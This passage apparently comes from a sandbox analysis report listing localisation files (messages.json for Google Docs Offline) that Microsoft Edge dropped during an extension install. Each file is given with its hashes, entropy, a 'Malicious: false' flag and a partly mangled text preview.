Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.631887382471946
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97f9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95MwP9KkJ+je:YwBrD2J2DBLMfFuWvdpY94vioO+uh
MD5:	1F565FB1C549B18AF8BBFED8DECD5D94
SHA1:	B57F4BDAE06FF3DFC1EB3E56B6F2F204D6F63638
SHA-256:	E16325D1A641EF7421F2BAFCD6433D53543C89D498DD96419B03CBA60B9C7D60
SHA-512:	A60B8E042A9BCDCC136B87948E9924A0B24D67C6CA9803904B876F162A0AD82B9619F1316BE9FF107DD143B44F7E6F5DF604ABFE00818DEB40A7D62917CDA69F
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1880
Entropy (8bit):	4.295185867329351
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/UGG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZZ
MD5:	8E16966E815C3C274EEB8492B1EA6648
SHA1:	7482ED9F1C9FD9F6F9BA91AB15921B19F64C9687
SHA-256:	418FF53FCA505D54268413C796E4DF80E947A09F399AB222A90B81E93113D5B5
SHA-512:	85B28202E874B1CF45B37BA05B87B3D8D6FE38E89C6011C4240CF6B563EA6DA60181D712CCE20D07C364F4A266A4EC90C4934CC8B7BB2013CB3B22D755796E38
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
